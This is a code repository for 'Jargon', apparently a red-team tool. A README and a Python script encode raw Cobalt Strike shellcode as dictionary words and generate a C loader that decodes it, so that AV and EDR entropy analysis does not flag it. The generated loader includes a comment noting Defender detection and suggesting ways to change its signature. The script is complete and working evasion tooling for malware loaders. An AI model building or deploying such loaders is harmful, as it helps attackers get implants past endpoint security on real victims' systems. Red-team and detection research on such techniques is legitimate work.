├── README.md ├── RollForStealth.pdf └── jargon.py /README.md: -------------------------------------------------------------------------------- 1 | # Jargon 2 | 3 | Jargon 4 | /ˈjärɡən/ 5 | noun: jargon; plural noun: jargons 6 | Definition: special words or expressions that are used by a particular profession or group and are difficult for others to understand. 7 | 8 | ## Usage 9 | ``` 10 | python3 jargon.py -i input.bin -d /path/to/dictionary.txt -o output.c 11 | ``` 12 | ## Instructions 13 | Jargon takes raw shellcode bytes (output format Raw in Cobalt Strike) as input. It also requires a dictionary file containing unique words, one per line, as input. **_The input file must be deduplicated_**. If your dictionary contains duplicate words, Jargon may select the same word for two different shellcode values, resulting in a broken loader. 14 | 15 | ## Background 16 | In order to protect our shellcode loaders, we often use encryption to obfuscate our shellcode. Encryption increases the entropy of our shellcode loader. Some AV & EDR use entropy analysis to determine if a binary is trustworthy for execution. If the entropy of a binary is too high, the agent makes a decision the binary is not trustworth for execution. This is, of course, an oversimplified explanation, but it will work for our purposes. 17 | 18 | This project takes raw shellcode and encodes it using a dictionary of words. The dictionary could be a dictionary of English words, the text of a Shakespearean tragedy, or it could be strings extracted from your favorite system DLL. The only requirement is that the dictionary contains at least 256 unique entries and all characters are valid for string literals in C/C++. 19 | 20 | _tldr: Use this program to translate shellcode bytes into words for entropy analysis evasion._ 21 | 22 | ## How it works 23 | We typically see shellcode represented as hex bytes - 0x00 to 0xff. However, we can also use integers to represent our shellcode. Since our shellcode can only possibly consist of 256 different values, the program reads the dictionary, selects 256 random words, and places them in an array. A word's position in this tranlsation array represents its shellcode value. Consider the following example: 24 | ``` 25 | unsigned char* translation_table[5] = { "petition","creates","proposal","maintain","winner" }; 26 | ``` 27 | To tranlsate our shellcode into an array of words, we read each byte of shellcode and pull the word from the translation table using the shellcode value as the index. Using the example above, if our first byte of shellcode is `0x01`, the value at `translation_table[1]` is `creates`. We take the word found at our index and append it to a new array that represents our translated shellcode. We repeat this process until we've reached the end of our shellcode. This will give us two arrays that look like the following abbreviated examples: 28 | ``` 29 | const char* translation_table[256] = { "petition","creates","proposal","maintain","winner","accommodations","submitted"..." }; 30 | 31 | const char* translated_shellcode[287] = { "staying","valuation","differences","score","disks","interests","controls" ... }; 32 | ``` 33 | To use this translated shellcode in our loader, we simply reverse the process. For each entry in the translated_shellcode array, we search the translation table for that value. The array index of the word is our shellcode byte. Given the first 4 bytes of 64-bit shellcode are typically `0xfc,0x48,0x83,0xe4,` we can surmise that `"staying","valuation","differences","score"` translates to translation_table[252], translation_table[72], translation_table[131], translation_table[228]. As a result, the first 4 bytes of our reconstructed shellcode will be `252,72,131,228.` 34 | 35 | This program will generate C source code containing the two array definitions and the translation routine to recover the shellcode bytes. 36 | 37 | ## Prior art 38 | Before I wrote this tool, I tried to find examples that people had written before me. I came up short, despite a lot of searching. Since originally writing the tool, I became aware of people who have written similar tools, but their tools are not public. These projects are using similar concepts: 39 | 40 | [https://github.com/moloch--/wire-transfer](wire-transfer): Encode binary files into English text for transfer over HTTP. 41 | [https://github.com/BishopFox/sliver/blob/master/util/encoders/english.go](Sliver C2): Encode binary file as English text. 42 | -------------------------------------------------------------------------------- /RollForStealth.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/jargon/476e20d5974986d5dee4f945403cb194de66c2cb/RollForStealth.pdf -------------------------------------------------------------------------------- /jargon.py: -------------------------------------------------------------------------------- 1 | import random 2 | import argparse 3 | import sys 4 | 5 | def gen_word_combinations(dict_file): 6 | # read in words dictionary 7 | try: 8 | with open(dict_file) as dictionary: 9 | words = dictionary.readlines() 10 | except FileNotFoundError: 11 | exit("\n\nThe dictionary you specified does not exist! Please specify a valid file path.\nExiting...\n") 12 | 13 | # Select random words from dictionary 14 | # why is this 257? It fails at 256 15 | try: 16 | random_words = random.sample(words, 257) 17 | return random_words 18 | except ValueError: 19 | exit("\n\nThe dictionary file you specified does not contain at least 256 words!\nExiting...\n") 20 | 21 | def get_shellcode(input_file): 22 | file_shellcode = b'' 23 | try: 24 | with open(input_file, 'rb') as shellcode_file: 25 | file_shellcode = shellcode_file.read() 26 | file_shellcode = file_shellcode.strip() 27 | binary_code = '' 28 | 29 | for byte in file_shellcode: 30 | binary_code += "\\x" + hex(byte)[2:].zfill(2) 31 | 32 | raw_shellcode = "0" + ",0".join(binary_code.split("\\")[1:]) 33 | 34 | return(raw_shellcode) 35 | 36 | except FileNotFoundError: 37 | exit("\n\nThe input file you specified does not exist! Please specify a valid file path.\nExiting...\n") 38 | 39 | def main(): 40 | ### Parse our arguments 41 | parser = argparse.ArgumentParser() 42 | parser.add_argument("-d", "--dictionary", type=str, 43 | help="Dictionary file. Defaults to 'dictionary.txt.'") 44 | parser.add_argument("-i", "--input", type=str, 45 | help="File containing raw shellcode.") 46 | parser.add_argument("-o", "--output", type=str, 47 | help="Output file. Defaults to 'generated.c.'") 48 | 49 | args = parser.parse_args() 50 | if len(sys.argv) == 1: 51 | # No arguments received. Print help and exit 52 | parser.print_help(sys.stderr) 53 | sys.exit(0) 54 | 55 | if args.input: 56 | input_file = args.input 57 | else: 58 | input_file = "beacon.bin" 59 | 60 | if args.output: 61 | output_file = args.output 62 | else: 63 | output_file = "generated.c" 64 | 65 | if args.dictionary: 66 | dict_file = args.dictionary 67 | else: 68 | dict_file = "dictionary.txt" 69 | 70 | ''' 71 | Build translation table 72 | ''' 73 | words = gen_word_combinations(dict_file) 74 | english_array = [] 75 | for i in range(0, 256): 76 | english_array.append(words.pop(1).strip()) 77 | 78 | tt_index = 0 79 | translation_table = 'unsigned char* translation_table[XXX] = { ' 80 | for word in english_array: 81 | translation_table = translation_table + '"' + word + '",' 82 | tt_index = tt_index + 1 83 | 84 | translation_table = translation_table.rstrip(', ') + ' };\n' 85 | translation_table = translation_table.replace('XXX', str(tt_index)) 86 | 87 | ''' 88 | Read and format shellcode 89 | ''' 90 | shellcode = get_shellcode(input_file) 91 | sc_len = len(shellcode.split(',')) 92 | print('Shellcode length: ', sc_len) 93 | #sc_index = 0 94 | 95 | 96 | ''' 97 | Translate shellcode using list comprehension 98 | ''' 99 | translated_shellcode_gen = ('"{}"'.format(english_array[int(byte, 16)]) for byte in shellcode.split(',')) 100 | translated_shellcode = 'unsigned char* translated_shellcode[XXX] = { ' + ','.join(translated_shellcode_gen) 101 | translated_shellcode = translated_shellcode.strip(',\'') + ' };\n' 102 | translated_shellcode = translated_shellcode.replace('XXX', str(sc_len)) 103 | 104 | shellcode_var = "unsigned char shellcode[XXX] = {0};"; 105 | shellcode_var = shellcode_var.replace('XXX', str(sc_len)) 106 | 107 | generated_forloop = ''' 108 | printf("Translating shellcode!\\n"); 109 | /* 110 | for loop is defined as such: 111 | for (int sc_index = 0; sc_index < # of shelcode bytes; sc_index++) 112 | */ 113 | for (int sc_index = 0; sc_index < XXX; sc_index++) { 114 | // Defender is identifying this translation routine as of 3/28/24 115 | // Consider adding a printf, writing to null, or some other routine to change up the signature. 116 | for (int tt_index = 0; tt_index <= 255; tt_index++) { 117 | //if (translation_table[tt_index] == translated_shellcode[sc_index]) { 118 | if (strcmp(translation_table[tt_index], translated_shellcode[sc_index]) == 0) { 119 | shellcode[sc_index] = tt_index; 120 | break; 121 | } 122 | } 123 | } 124 | ''' 125 | generated_forloop = generated_forloop.replace('XXX', str(sc_len)) 126 | 127 | ''' 128 | Save the results 129 | ''' 130 | with open(output_file, "w") as outfile: 131 | outfile.write(translation_table + '\n') 132 | outfile.write(translated_shellcode + '\n') 133 | outfile.write(shellcode_var + '\n') 134 | outfile.write('int sc_len = sizeof(shellcode);\n') 135 | outfile.write(generated_forloop + '\n') 136 | 137 | 138 | if __name__ == '__main__': 139 | main() 140 | --------------------------------------------------------------------------------